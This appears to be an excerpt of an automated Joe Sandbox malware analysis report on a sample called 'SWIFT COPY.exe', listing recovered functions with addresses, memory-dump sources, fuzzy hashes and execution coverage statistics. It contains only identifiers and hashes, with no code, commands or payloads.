Opcode Fuzzy Hash: daabe8513ca79a1febe3143430be3fced687376498ad0c99b04a8855c7791b3f
Instruction Fuzzy Hash: 1C41F2B4D05219DBCB04CFABC9486EEFBB5FB89341F14982AC516B7254D3384642CFA9

Function 099A8951 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

w7e^, xrefs: 099A8A95

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: w7e^
API String ID: 0-1657886525
Opcode ID: 04a9fa56543729f4f93344beffba3129bd2645e7701ac2519a8ecf28255fd3ba
Instruction ID: 94aff8d1cb0f25b6128d00740c588dcc012f5e75990c9cf3cb3ea8dc93cde322
Opcode Fuzzy Hash: 04a9fa56543729f4f93344beffba3129bd2645e7701ac2519a8ecf28255fd3ba
Instruction Fuzzy Hash: DF4102B0D0521ADFCB08CFA6C9486EEFBB6FB89341F14982AC515B7254D3384642CF99

Function 099A5458 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

0ni, xrefs: 099A55C3

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 0ni
API String ID: 0-1488673370
Opcode ID: f2897efd993df442cffec51b69a8b57b57cd70d2c51588db4d57cfe84eb29d74
Instruction ID: 2b55e6863cfc04056885440cb900f6b2a4b2610887d7f1738ef07f7e5ce923b0
Opcode Fuzzy Hash: f2897efd993df442cffec51b69a8b57b57cd70d2c51588db4d57cfe84eb29d74
Instruction Fuzzy Hash: FF514A71E056188BDB58DF6B8D4579EFAF7BFC8301F14C1BA950CA6214EB340A868F51

Function 099A544A Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

0ni, xrefs: 099A55C3

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 0ni
API String ID: 0-1488673370
Opcode ID: 0ee2d1c28820e2659896359b7904f42c0d4c9ad6cafb516b289b4a03bcc72d0f
Instruction ID: 3908b0b289e2568e9ea58d2e085167ad1cfb9a87e2d16803464207f52a8d1f57
Opcode Fuzzy Hash: 0ee2d1c28820e2659896359b7904f42c0d4c9ad6cafb516b289b4a03bcc72d0f
Instruction Fuzzy Hash: EF513CB1E056188BDB58DF6BCD4579AFAF3AFC8300F14C1BA940CA6264DB3419858F51

Function 09B77CF8 Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16b4d05e6fe1ee2150740ceaa0d58269345444a819fb7287ceddfe387e805d9
Instruction ID: a6d6353b3c04057a57ac06e2422ab55e00126b98e6b1a0b8f2e8ffc5227ecdf0
Opcode Fuzzy Hash: c16b4d05e6fe1ee2150740ceaa0d58269345444a819fb7287ceddfe387e805d9
Instruction Fuzzy Hash: 08D1BE707007048FEB19EB76C8907AAB7F6AF89714F1089ADD156CB290DF35E902C791

Function 09B71048 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1ad114dc4e7d6307765d48065d42336c96651ab9dc1488d793cc028a1c0213
Instruction ID: 0e3700e2b12e3c992e0ac7dd273c81188b14ada68dfa4466024428350e067773
Opcode Fuzzy Hash: 7a1ad114dc4e7d6307765d48065d42336c96651ab9dc1488d793cc028a1c0213
Instruction Fuzzy Hash: 3AE1F774E042599FCB14CFA8C5819AEFBF2FF89314F248269E855AB355C734A941CFA0

Function 09B73140 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66f57e1926974a696d0848ac25d87cc1c1d9f5cc7c34e1990c1f714568bd9262
Instruction ID: 0ff1553a821f25a469df547422623045c0c7d15144d31d7ca22781885b5c3f50
Opcode Fuzzy Hash: 66f57e1926974a696d0848ac25d87cc1c1d9f5cc7c34e1990c1f714568bd9262
Instruction Fuzzy Hash: 5BE1F474E002599FCB14CFA8D5809AEFBF2FF89314F248269E414AB355D734A942DFA0

Function 09B73808 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3790b3bf8dadf3647752f1a3b6f734bf7b9035eda62ddd982916492ac8b85c
Instruction ID: acda422a34ae9ada00362b858f05fff0af9c03691893e0dbc30e4f22a54916b8
Opcode Fuzzy Hash: dd3790b3bf8dadf3647752f1a3b6f734bf7b9035eda62ddd982916492ac8b85c
Instruction Fuzzy Hash: 3FE10574E042198FCB14CFA9D5819AEFBF2FF88310F248269E415AB355D735A942CFA0

Function 09B71490 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0783323308a7e10539f4217131cf20154ebd8fb4087b1206a7d00d5f74555149
Instruction ID: 8512e70d40b72cce753d92bba7ab956b1777a172bbc50f07863b578c03c64322
Opcode Fuzzy Hash: 0783323308a7e10539f4217131cf20154ebd8fb4087b1206a7d00d5f74555149
Instruction Fuzzy Hash: 36E1E6B4E042199FCB14CFA8C5819AEFBB2FF89314F24C269D415AB355D734A942CFA1

Function 09B72790 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5c50ad261837fba0b40522f085d386f7152be18fd6ebc069b1e45848851dcc
Instruction ID: dd3ff0fe73daa90111530c4a69fb215749b4ca030682d04fe99ad35c44d2ce2d
Opcode Fuzzy Hash: 7d5c50ad261837fba0b40522f085d386f7152be18fd6ebc069b1e45848851dcc
Instruction Fuzzy Hash: 75E1F574E002598FCB14CFA9C5819AEFBF2FF89314F248269D464AB355D734A942CFA0

Function 099A9E98 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddb46b0e4123d97d6f62a3079fe814ceaf8af969d4237fe05397cbf60cbd2f75
Instruction ID: 788c34bbeb594f88a5aadcc8372fd3ec4ebb53eeed03748f21922c2f6524a2fd
Opcode Fuzzy Hash: ddb46b0e4123d97d6f62a3079fe814ceaf8af969d4237fe05397cbf60cbd2f75
Instruction Fuzzy Hash: A2B10575E05609DFCB58CFA6D58069EFBB2FF88340F60D42AD419AB254EB349A06CF50

Function 099A9E88 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b87aeac4a57191a32ce41841d6ab672b11bab478c5ad9a7cbc002d3ee47879b
Instruction ID: 475753528fcf4e06ac54d5b1b5aa5084a475f198d1e9a2a6c4183c2d4f0d0d06
Opcode Fuzzy Hash: 6b87aeac4a57191a32ce41841d6ab672b11bab478c5ad9a7cbc002d3ee47879b
Instruction Fuzzy Hash: 22B11575E05609DFDB58CFA6D58069EFBB2FF88340F60D42AD419A7264EB349A02CF50

Function 04FB1660 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05baca43ec9ef2021ed808b5d9496809626191f3989ca807c4d71d92d6652902
Instruction ID: daa6ce3095174df46dcedf794a6050a31947d1fa006ae3b7b91e457f1c732a52
Opcode Fuzzy Hash: 05baca43ec9ef2021ed808b5d9496809626191f3989ca807c4d71d92d6652902
Instruction Fuzzy Hash: F1516376714201CFD7068A6ADAE15E6BB62FB86290B25C437D08ADB200C730ED03C7E0

Function 099A3BD8 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5daf3c49c7a9d41e7ba7f1776ffc3e5ce688f6bcee0cd7792ee31da55c47d78
Instruction ID: db198035f7d3dd9c38122c6fac21e10510cd5d346e8a99c2deca2273368c808f
Opcode Fuzzy Hash: e5daf3c49c7a9d41e7ba7f1776ffc3e5ce688f6bcee0cd7792ee31da55c47d78
Instruction Fuzzy Hash: B6910374A1521ACFCB44CF9AD98589EFBF2FF88350F249959D415AB320D334AA42CF91

Function 099A3BCA Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d13991945d689eccb97762370758dc7bc108fbd9aea57ea415ae1062589c8621
Instruction ID: 629f53349e812d2b5480c939e392172aa10ce8dc38948f0637b8ef5d940c8e89
Opcode Fuzzy Hash: d13991945d689eccb97762370758dc7bc108fbd9aea57ea415ae1062589c8621
Instruction Fuzzy Hash: 46813470A1521ACFCB44CFA9C98599EFBF1FF88310F14996AD405AB221D334AA42CF91

Function 099A8D20 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab59602fe188e78c4696c0be1b4485f1a908f5e3133fb1799f3509a7ca7267e7
Instruction ID: 3b407aa1be59134def03c9f0bdb0263cd6c6e6edbc08c30361a0dfe897a2b1ca
Opcode Fuzzy Hash: ab59602fe188e78c4696c0be1b4485f1a908f5e3133fb1799f3509a7ca7267e7
Instruction Fuzzy Hash: 3D810974E041698FCB14CF69C580AAEFBB6FF89344F24D5A9D418A7215D730AE42CFA1

Function 099A8D10 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c7a5f45033f151bc72ae57a514f07d35ecdd417180afe6042b55aa871985169
Instruction ID: 06af759d76da2695950106006e7a4d3b7a1ecffee8a60e213f447a29ff92313f
Opcode Fuzzy Hash: 0c7a5f45033f151bc72ae57a514f07d35ecdd417180afe6042b55aa871985169
Instruction Fuzzy Hash: C5810C74E142698FCB14CF69C580AAEFBB3FF89340F24C1A9D418A7215D730AA41CFA1

Function 099A4FE8 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6148497b3795eb53341186fda159bd8fd7414ee44a373c589552ca8d80b4bd97
Instruction ID: 5065445539de15acb849ee1e9a4a8a85621bc25a4ee0b75a7bf72e3a370c066b
Opcode Fuzzy Hash: 6148497b3795eb53341186fda159bd8fd7414ee44a373c589552ca8d80b4bd97
Instruction Fuzzy Hash: 0371F774E15619CFCB04CFA9C5805EEFBF2FF89350F25942AE419B7214D3349A418BA9

Function 099A4FD8 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d4d780f19401a9b3188af157c9e320c972e2165785229ba05546046f406ef1
Instruction ID: 47d950a935e4e00450e99b0710af8fd42a312d9aa0dcce5bfe8d8439a9df8293
Opcode Fuzzy Hash: 60d4d780f19401a9b3188af157c9e320c972e2165785229ba05546046f406ef1
Instruction Fuzzy Hash: C6710874E156198FCB04CFA9C5805EEFBF2EF89350F25942AE409B7254D3349E428BA9

Function 04FB3440 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a5f9ae497b511f99d024b061adc151257d9536e66ac7bdb64c2121ec24ef16
Instruction ID: 60a06af3492a359b5228080379993d3e51c0dff0d93f7388381eee789557fd8b
Opcode Fuzzy Hash: 69a5f9ae497b511f99d024b061adc151257d9536e66ac7bdb64c2121ec24ef16
Instruction Fuzzy Hash: 13414573B581268BD7058EAECC811EBBB66E796204F0585A7E988DB245D230FE4747C1

Function 09B71480 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98943c2eb4d3357bf9ea4bc98a339cf18519bcca8e6418195cba43a4eeafe832
Instruction ID: 8196487e47a058e40eaf3e7b7dfbdc3c26084dec23f1398752128a675b6ef1df
Opcode Fuzzy Hash: 98943c2eb4d3357bf9ea4bc98a339cf18519bcca8e6418195cba43a4eeafe832
Instruction Fuzzy Hash: BF510974E042199FCB14CFA9C5815AEFBF2FF89310F24C2AAD418A7215D734A942CFA1

Function 09B7277F Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba537d57e0f0093e29240fc0e04ef79301fda9eb65c721c69c3e68735c58838f
Instruction ID: 86387a34e6a2dfaca4f001a15794d5e0602a740fe25b7466bbfb5dde081d908e
Opcode Fuzzy Hash: ba537d57e0f0093e29240fc0e04ef79301fda9eb65c721c69c3e68735c58838f
Instruction Fuzzy Hash: 77511774E042198FCB14CFA9C5815AEFBF2FF89310F24C2A9D458A7215D735A942CF61

Function 09B73131 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735d3f33e7d5664e45aae44911a1df9aee8a3db193affec53ef9999ccb80faff
Instruction ID: f469e8d22139d4d201343d243467a43f5d8f837de1339e37a3e9b8b9bb2e57ed
Opcode Fuzzy Hash: 735d3f33e7d5664e45aae44911a1df9aee8a3db193affec53ef9999ccb80faff
Instruction Fuzzy Hash: FB512974E002198FDB14CFA9D9815AEFBF2FF89310F24C269D418A7215D734A942CF60

Function 04FB2BA8 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42c36a01b58be401f83978b62438b5bf51756ceccdbf1520ef81ea580ad4943d
Instruction ID: 3562b0b6681b03e2c2282b4906d92fa6e1153e7a1f752545f1d50eb0b52a9a0e
Opcode Fuzzy Hash: 42c36a01b58be401f83978b62438b5bf51756ceccdbf1520ef81ea580ad4943d
Instruction Fuzzy Hash: 03414B327142058FC718CF2AD589996B7F6FB8A350B15C86BD056CB650E674F982CB41

Function 04FB2BB8 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf5cc95a1c7073b8e3cb74b2bf9fd273bfd4cf56737f8ced221dd2dccac29b1
Instruction ID: 9739ef7f8b91538c14f26c7efee06b7c841a3b98ff0c1c92fe7ab978ab966c53
Opcode Fuzzy Hash: 9cf5cc95a1c7073b8e3cb74b2bf9fd273bfd4cf56737f8ced221dd2dccac29b1
Instruction Fuzzy Hash: 40413B32714206CFC718CF2AD489997B7E6FF89210B15C86BD05ADB654E774F942CB41

Function 04FB1651 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf219982aae16a9bc2a2f954551c888d038d6fe81e4ce80cc8fb107588e8fca4
Instruction ID: 2c966e6ce5be90ff8cf373bf175f70cf9fe7bf38934323d6015cec089e1099a6
Opcode Fuzzy Hash: bf219982aae16a9bc2a2f954551c888d038d6fe81e4ce80cc8fb107588e8fca4
Instruction Fuzzy Hash: EF4123B2B14116CBCB04CF5ACAA06EAF762FB96390B258527D452DB600D330FE16CBD1

Function 099A8218 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5408905e2ec8b532a8797fe93fb36ddd053b67c3537be27d9bb6dcf711659d
Instruction ID: ba5a83d458111789dea46a4957e28deb1d53c33097966dcdf33568ebe09e3749
Opcode Fuzzy Hash: bf5408905e2ec8b532a8797fe93fb36ddd053b67c3537be27d9bb6dcf711659d
Instruction Fuzzy Hash: 87412CB0E0A60ADFCB44CFA6D5416AEFBF2EF88340F20986AC415B7254E77497418B95

Function 099A5268 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d6270f380ebb061cd830da04757308ba3d7360baeec3963f450bd6da76a289
Instruction ID: d7229f5d85d9e4b23cde7ed2c1ed67cb2605c9d9fee6f0113c3efffbd4c1c4c3
Opcode Fuzzy Hash: d6d6270f380ebb061cd830da04757308ba3d7360baeec3963f450bd6da76a289
Instruction Fuzzy Hash: 0B41F7B0E0520ADFCB04CFAAC5815AEFBF2EF88340F24D56AD815F7215D7349A418BA5

Function 04FB3750 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae1c878b3acbb580258fe87007f56fea66663ef1109fa3e981815fd2e5c4560b
Instruction ID: b74ebd3318cb4be1d8d4b49649d15e79c4c03e58b605e35771ec946af73c76a8
Opcode Fuzzy Hash: ae1c878b3acbb580258fe87007f56fea66663ef1109fa3e981815fd2e5c4560b
Instruction Fuzzy Hash: CF41D4B6F941168FCB44CE9AC4855EEFBB5EB46300B60806B9C45EB350D270E902CBD2

Function 099A5278 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7b38cbbd30b9c5a9cf0eb0b1bfed2718c708e4dd797da979bb2c5d7cb96d94
Instruction ID: 78e6999e2b84e8d611c4e6b971d821db6c56b7f0ac64103b6792065b1a57a120
Opcode Fuzzy Hash: 4c7b38cbbd30b9c5a9cf0eb0b1bfed2718c708e4dd797da979bb2c5d7cb96d94
Instruction Fuzzy Hash: 5141F6B0E0520ADFCB44CFAAC5815AEFBF2EF88340F24D56AD815B7214D7349A418BA5

Function 099A8228 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550a4b9fee5c29de8548eced29bc0e4b9968948e9bd5d7f6cdcd8fc61dd792f2
Instruction ID: b1c4bce3d9a8273cbc4928303bd445966b13f088b112b94d3b59a7d64149b5bd
Opcode Fuzzy Hash: 550a4b9fee5c29de8548eced29bc0e4b9968948e9bd5d7f6cdcd8fc61dd792f2
Instruction Fuzzy Hash: 84411CB0E0A60ADFCB44CFA6D5416AEFBF1EF89340F20986AC415B7264E77497418B94

Function 04FB3760 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12c3cda78dc7c9f09b9833b5e44dab186e61ff40b238a57e34cf90e8315b0c98
Instruction ID: 0d5ab40326faa0fdd35b2a362ceaf32d55f88fbc18c9683fc0ae533fccaa1009
Opcode Fuzzy Hash: 12c3cda78dc7c9f09b9833b5e44dab186e61ff40b238a57e34cf90e8315b0c98
Instruction Fuzzy Hash: D131C4B7F941168BCB44CE9AC5855AEFBB5EB4A300B61842B9D45EB350D270E902CBD2

Function 099A4DE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6c935ac629b5afebc7e51e928d6c2e0c81332795ed4c6e668830512ed4897c
Instruction ID: 533c8b2fb984fe72ad34b2bca5ac7102a8b6c16a87551585ad4a503a4461cb69
Opcode Fuzzy Hash: 3a6c935ac629b5afebc7e51e928d6c2e0c81332795ed4c6e668830512ed4897c
Instruction Fuzzy Hash: 7841D0B0E0560ADFCB48CFAAC4815AEFBF2EF98300F24D42AD415A7254D3749A428F94

Function 099A4DD0 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31fc9d4c992ff273000aec168070759d217d7c1fe1f6d26e34a9eb143b89feff
Instruction ID: 5d0b1b50e8994ec41901e8b73d00169ff8a58bf42ee9da4cfda52fc1ca18ae07
Opcode Fuzzy Hash: 31fc9d4c992ff273000aec168070759d217d7c1fe1f6d26e34a9eb143b89feff
Instruction Fuzzy Hash: 38410AB0E0560ADFDB08CFAAC4805AEFBF2EF98340F24C46AD415A7254D3749A42CF94

Function 04FB3199 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 174038537ce2cb7bf455a1515e16cb2af9de98151095535aed9ec4cfe3af8c6d
Instruction ID: 5ead8d6b2b562cdd6a9c7d232002487a312fe9454b0e8ddebc1339616cec3d87
Opcode Fuzzy Hash: 174038537ce2cb7bf455a1515e16cb2af9de98151095535aed9ec4cfe3af8c6d
Instruction Fuzzy Hash: 45212432B583448FCB409AADC8D51DA7BB5FB86204F0A86A6D981DB642E374B90787D1

Function 099A0006 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23acb5988d53b1ad4122442d05cbdcbbae3f085eae6c3e9ca2261cd3a8cddfd2
Instruction ID: d1e0d6eab959cc8ccb50e6e11f89c89a1fb4ef7da23fac6eef8fc5a3654ee81d
Opcode Fuzzy Hash: 23acb5988d53b1ad4122442d05cbdcbbae3f085eae6c3e9ca2261cd3a8cddfd2
Instruction Fuzzy Hash: 60211271E097548FDB19CF6B981069EBFF3AFCA200F08C0B6C458AA265EB744545CF65

Function 099A0040 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4c08665f15989571a5be412ccc312a8514d899d0531049639aa2c7ea401271
Instruction ID: 71d8471e4725d9eab4be78b675e6ed7a5081b78285af671b645cc053950e7ebd
Opcode Fuzzy Hash: 9f4c08665f15989571a5be412ccc312a8514d899d0531049639aa2c7ea401271
Instruction Fuzzy Hash: E011D771E046189BEB18CFABD80469EFAF7EFC9300F04C07AD918B6224EB7006468F55

Analysis Process: SWIFT COPY.exePID: 7764, Parent PID: 7404COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	5.3%
Signature Coverage:	8.3%
Total number of Nodes:	132
Total number of Limit Nodes:	10

